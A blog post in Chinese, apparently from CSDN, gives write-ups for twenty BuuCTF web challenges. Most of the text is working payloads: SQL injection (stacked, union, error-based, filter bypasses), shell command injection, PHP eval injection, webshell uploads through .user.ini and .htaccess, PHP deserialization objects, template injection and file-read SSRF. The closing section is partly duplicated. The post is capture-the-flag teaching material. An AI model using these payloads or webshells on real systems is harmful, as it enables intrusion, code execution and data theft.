[BuuCTF]Web-1

1.随便注

  1. 堆叠注入:
1;show databases;#
1;show tables;#
1;show columns from [tablename];#
  1. 通过堆叠注入查看表中数据:
1';PREPARE test from concat('s','elect','* from `1919810931114514`**');EXECUTE test;#**

1';PREPARE w from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');EXECUTE w;# 
//MySQL下char函数可以 把 ASCII值转换为字符,115,…116 = select

1';set @sql=concat(char(115,101,108,101,99,116),' * from `1919810931114514`');PREPARE w from @sql;EXECUTE w;#

1';set @sql=concat(‘s’,'elect',' * from `1919810931114514`');PREPARE w from @sql;EXECUTE w;#

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

2.EasySQL

  1. 进去后进去测试发现存在堆叠注入
    1;show databases#
    1;show tables#

  2. 输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||

  3. 也就是select输入的数据||内置的一个列名 from 表名=>即为
    select post进去的数据 || flag from Flag(含有数据的表名,通过堆叠注入可知)此时的||起到的作用是or的作用

#解法一
内置语句为
sql=“select”.post[‘query’]."||flag from Flag";
构造payload
select *,1||flag from Flag
变成
select *,1 from Flag

#解法二
1;set sql_mode=pipes_as_concat;select 1
执行为
select 1
set sql_mode=pipes_as_concat
select 1||flag from Flag
select任何一个常数都会在表中新建一列,然后查询出那一列的内容。
结论:
select 1 from Flag的结果就是一排1,这一排有几个数据取决于表的行数多少。

3.LoveSQL

1' order by 4 # 	

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #  

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' # 

1' union select 1,2,group_concat(id,username,password) from 'l0ve1ysq1' #

4.PingPingPing

当存在空格过滤的时候可以使用 $IFS$1 进行绕过,超看index.php文件
url/?ip=8.8.8.8|cat$IFS$1index.php

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

可以发现对flag进行了正则表达式过滤,按顺序出现flag就输出错误信息,可以采用如下进行绕过
url/?ip=8.8.8.8||b=ag;a=fl;cat$IFS$1$a$b.php

官方思路:使用base64编码,加密内容 "cat flag.php"
url/?ip=||echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

5.HTTP1

browser -> user-agent:[vaule]
IP地址 -> x-forwarded-For:[ip]
来源 -> referer:[url]

6.Upload1

更改MIME类型:image/jpeg
更改上传的文件名:php,php3,php4,php5,phtml,pht,phtm,phps
文件头内容可以加上:GIF89a
过滤"<?"时是可以使用:<% %>,<script language='php'>eval($_POST['x'])</script>

7.Easy Calc

右键源代码超看calc.php

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 
PHP字符串解析特性:
//空格+num绕过黑名单限制,PHP解析的时候会去掉空格
url/calc.php? num=phpinfo()
url/calc.php/?+num=phpinfo()
查看根目录下的文件,payload:
url/calc.php? num=var_dump(scandir(/))

发现 "/" 被过滤了,使用ASCII编码绕过:
url/calc.php? num=var_dump(scandir(chr(47)))

发现存在flagg文件,读取:
url/calc.php? num=var_dump(file_get_contents(chr(47).f1agg))
url/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

8.PHP

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

__construct():

usernamepassword的赋值由__construct执行,__construct在对象创建的时候就会执行,即创建对象的那一刻就实现了对usernamepassword的赋值。

__wakeup():

username赋值为guest,一旦反序列化执行则立即执行。

__destruct():

执行两次判断,其效果是若username=adminpassword=100则返回flag。__destruct函数在脚本运行结束时就会被调用。

由以上信息我们知道,当我们按顺序执行了__construct(),__destruct(),且__wakeup()没有执行就可以得到flag。

这三个函数的执行顺序是__construct(),__wakeup(),__destruct(),于是我们下一步的目标就让程序执行跳过__wakeup()

这里涉及到__wakeup()函数漏洞原理:🎈当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数。

构造payload

<?php
class Name {
    private $username = 'admin';
    private $password = 100;
}
$flag = new Name();
$flag_1 = serialize($flag);
echo $flag_1;
?>
    
//返回:
    O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
//还要绕过 __wakeup 函数,所以修改"name"后的值,修改成3
    O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

不同类型的变量在序列化传输的时候有些不同:

public变量:直接使用原生态构造就好,
private变量:需要在变量名前加’%00类名%00’,
protected:需要在变量名前加‘%00*%00’
//protected修饰变量
<?php
class Name{
	protected $username = 'nonono';看这两行
	protected $password = 'yesyes';

	public function __construct($username,$password){
		$this->username = $username;
		$this->password = $password;
	}
}

$a = new Name('admin',100);
$b=serialize($a);
echo $b;
//看这看这看这看这!!!!!!!!!
//运行会输出 O:4:"Name":2:{s:11:" * username";s:5:"admin";s:11:" * password";i:100;}
?>
------------------------------------------------------------------------------------------- 		
//public修饰变量,运行后回显代码内注释内容
<?php
class Name{
	public $username = 'nonono';
	public $password = 'yesyes';

	public function __construct($username,$password){
		$this->username = $username;
		$this->password = $password;
	}
}

$a = new Name('admin',100);
$b=serialize($a);
echo $b;
//O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
?>
-------------------------------------------------------------------------------------------    
//private修饰变量,运行后回显代码内注释内容    
<?php
class Name{
	private $username = 'nonono';
	private $password = 'yesyes';

	public function __construct($username,$password){
		$this->username = $username;
		$this->password = $password;
	}
}

$a = new Name('admin',100);
$b=serialize($a);
echo $b;
//O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
?>    

此时构造的payload为:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

9.Babysql

存在or,where,form,where,select,union过滤

"#"号过滤使用%23进行绕过

//表名
url?username=1' ununionion seselectlect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whewherere table_schema=database() %23&password=123
//列名
http://0af2a80f-964c-4a84-8265-b110b43c0580.node4.buuoj.cn:81/check.php?username=1' ununionion seselectlect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whewherere  table_name='b4bsql' %23&password=123
//数据
http://0af2a80f-964c-4a84-8265-b110b43c0580.node4.buuoj.cn:81/check.php?username=1 ununionion seselectlect 1,2,group_concat(passwoorrd) ffromrom b4bsql %23&password=123

10.Easy_tornado

通过文件得知,需要filename以及filehash匹配得到Flag,有获取到flag位于fllllllllllllag中,先构造一个url

url/file?filename=/fllllllllllllag.txt&filehash=288451ab2a877c9bae7c04104249909f

结果返回错误信息,查阅资料得知此处有模板注入,

url/error?msg={{1}}

尝试搜索tornado cookie_secret。发现cookie_secret存放在handler.settings中,构造payload

url/error?msg={{handler.settings}}

返回结果

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '99bdf47d-1e34-4e7a-a3d1-15f128ecf43b'}

根据cookie_secret构造filehash

<?php
$cookie_secret = '99bdf47d-1e34-4e7a-a3d1-15f128ecf43b';
$filename =  '/fllllllllllllag';
echo md5(($cookie_secret.md5($filename)));
?>
    
//得到 '7acd27e8e705ccba71b21004ed52a902'

最后生成url

url/file?filename=/fllllllllllllag&filehash=7acd27e8e705ccba71b21004ed52a902

11.Easy_MD5

select * from ‘admin’ where password=md5($pass,true)

md5(string, raw) raw 可选,默认为false
true:返回16字符2进制格式
false:返回32字符16进制格式
简单来说就是 true将16进制的md5转化为字符了,如果某一字符串的md5恰好能够产生如’or ’之类的注入语句,就可以进行注入了.

输入特定的字符串,ffifdyop 在经过执行md5(ffifdyop,true) 后会返回 'or’6

ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ’ or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

1、GET传入的变量a,b不等;2、MD5加密后相等

这里提供一些md5以后是0e开头的值:

QNKCDZO

0e830400451993494058024219903391

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s1885207154a

0e509367213418206700842008763514

s1502113478a

0e861580163291561247404381396064

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s155964671a

0e342768416822451524974117254469

s1184209335a

0e072485820392773389523109082030

s1665632922a

0e731198061491163073197128363787

s1502113478a

0e861580163291561247404381396064

s1836677006a

0e481036490867661113260034900752

s1091221200a

0e940624217856561557816327384675

s155964671a

0e342768416822451524974117254469

s1502113478a

0e861580163291561247404381396064

s155964671a

0e342768416822451524974117254469

s1665632922a

0e731198061491163073197128363787

s155964671a

0e342768416822451524974117254469

s1091221200a

0e940624217856561557816327384675

s1836677006a

0e481036490867661113260034900752

s1885207154a

0e509367213418206700842008763514

s532378020a

0e220463095855511507588041205815

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s214587387a

0e848240448830537924465865611904

s1502113478a

0e861580163291561247404381396064

s1091221200a

0e940624217856561557816327384675

s1665632922a

0e731198061491163073197128363787

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s1665632922a

0e731198061491163073197128363787

s878926199a

0e545993274517709034328855841020

构造URL:url?a=s1665632922a&b=s878926199a

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等

构造paylload:param1[]=111&param2[]=222以POST提交

12.NiZhuanSiWei

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
//判断$text变量是否存在并判断"welcome to the zjctf"是否被写入
    
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

首先使用data伪协议来写入

?text=data:text/plain,welcome to the zjctf

然后读取useless.php文件内容

&file=php://filter/read=convert.base64-encode/resource=useless.php

使用base64解密,得到

<?php  
class Flag{  //flag.php (题目源码注释) 
    public $file;    
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);    //输出文件内容,通过这个函数读取flag
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

$a = new Flag();
echo serialize($a);
?>  

构造payload

url?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

💥php伪协议

https://segmentfault.com/a/1190000018991087

13.CheckIn

利用.user.ini,利用的前提是当前文件夹下必须存在要给.php文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wqjAIIgb-1641372751772)(…/…/photo/20190824211552-4c92f9fe-c671-1.png)]

也就是说我们可以在.user.ini中设置php.iniPHP_INI_PERDIRPHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini

在p牛的文章中提到了两个有趣的设置:auto_prepend_fileauto_append_file

我们再到手册中看了下这两个设置的定义:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TcAlRa6Q-1641372751774)(…/…/photo/20190824211604-538774ce-c671-1.png)]

大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

构造payload:

//先上传一个 .user.ini 文件

GIF89a
auto_prepend_file=a.jpg

//再上传一个图片马

GIF89a
<script language='php'>eval($_POST['x']);</script>

//访问index.php,相当于打开index.php文件然后包含a.jpg的内容(以php来运行),这就是.user.ini的作用
url/uploads/xxxx/index.php

#有时候能连接上,有时候连接不上.

14.HardSQL

该题测试显错注入

  1. 数据库名
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
  1. 表名
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
  1. 列名
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
  1. 数据
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
  1. 发现爆出的数据只有一半,使用{left(),right()}
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

15.你传你马呢

这里更改文件名后缀,更改MIME类型等方法都没有用,考虑使用.user.ini.htaccess文件,因为不知道上传目录是否存在.php文件,所以这里选择.htaccess

  1. 首先上传一个.htaccess文件,文件内容如下,并将MIME类型更改为image/jpeg
<FilesMatch "a.png"> //注意要指定你上传的文件名和此文件名相同,这样它才能被当作php文件解析
SetHandler application/x-httpd-php
</FilesMatch>
  1. 然后上传一个.png格式的图片马,这里上传.jpg发现一直不成功,蚁剑链接得到Flag

16.AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

通过代码审计可以了解到

  1. 首先要确保$op=2去执行read方法

  2. 然后在read方法中通过filename读取相应文件

  3. is_vaild函数进行限制,传入的每个字符ascii码值必须在32~125之间

  4. 使用的是protected修饰变量,需要在反序列化中添加%00,若用php版本低于7,会有00%,其对应ascii值为0,不在32~125,但是php7.X对属性类型不敏感,所以将protected改为public(可以参考第八题)

构造payload

<?php
class FileHandler
	public $op=2;
	public $filename="flag.php";
	public $content;
?>

$a = New FileHandler();
echo serialize($a);
?>

执行:url?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;N;}

17.Ez_bypass

if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}You are not a real hacker!
  1. 这里要求idgg的MD5值相同,但是输入的值不相同

  2. passwd要求post方式请求,弱类型比较值为1234567

构造payload

?id[]=1&gg[]=2
post:passwd=1234567abc

18.babysqli

看到是一个登录框,随便输入账号密码跳转到search.php,右键查看源代码发现加密的字符串MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

这是一个先由BASE64加密又经过BASE32加密值,反向解密得到select * from user where username = '$name'

base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。

name=admin' Order by 4 #
name=admin' Order by 3 #

name=admin' union select 1,2,3 #

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

构造payload,利用构造一个虚拟身份来进行伪造真实身份,从而绕过审核机制。

name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' %23 &pw=123

19.black_list

  1. 数据库
1';show databases;#
  1. 表名
1';show tables;#
  1. 列名
1';desc Flaghere;
  1. 由于select被过滤,可以使用handler
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…) [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE

构造payload:

1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#  

20.fakebook

  1. 网站目录下存在robots.txt,/user.php.bak,flag.php文件
  2. user.php.bak文件内容如下
<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);//设置句柄
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);//执行句柄
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);//返回执行句柄的结果或404
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);//对blog进行过滤,要求http(s)协议作为开头
    }
}
?>

发现是通过blog的值获取相应的内容

  1. 注册完用户返回发现URL
http://58071f17-7d11-47a9-b043-260cf1026e07.node4.buuoj.cn:81/view.php?no=1
  1. 方法一:
?no=1 and 1=1 //回显正常
?no=1 and 1=2 //回显错误
判断为数字型

?no=1 order by 4#
?no=1 order by 5#

?no=-1 union select 1,2,3,4#
发现被过滤,使用/**/绕过

?no=-1 union/**/select 1,2,3,4#
发现报错位在username栏中

?no=-2 union/**/select 1,user(),3,4#
?no=-2 union/**/select 1,database(),3,4#
发现数据库名为 fakebook ,获取到的权限是 root@localhost 

load_file(filename)函数可以利用绝对路径去加载一个文件,注意此时的filename为一个完整的文件
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

通过查看网页源代码获得flag
  1. 方法二:
表名
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#

列名
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#
-> 出现了no,username,passwd,data等列名,查看data字段

data字段
?no=-1 union/**/select 1,group_concat(data),3,4 from users#
-> O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:13:"www.nihao.com";}

这里通过构造序列化flag

<?php
class UserInfo
{
    public $name = "1";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
echo serialize($a);
?>

构造payload:

?no=-1/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

经过Base64解密得到flag

1,user(),3,4#
?no=-2 union/**/select 1,database(),3,4#
发现数据库名为 fakebook ,获取到的权限是 root@localhost

load_file(filename)函数可以利用绝对路径去加载一个文件,注意此时的filename为一个完整的文件
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

通过查看网页源代码获得flag


5. 方法二:

表名
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#

列名
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘users’#
-> 出现了no,username,passwd,data等列名,查看data字段

data字段
?no=-1 union/**/select 1,group_concat(data),3,4 from users#
-> O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:123;s:4:“blog”;s:13:“www.nihao.com”;}


这里通过构造序列化flag

```php
<?php
class UserInfo
{
    public $name = "1";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
echo serialize($a);
?>

构造payload:

?no=-1/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

经过Base64解密得到flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛中的一个web题目。其中可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web题目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web题目中,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTF】buuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTF刷题】Web解题方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTFWeb真题学习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值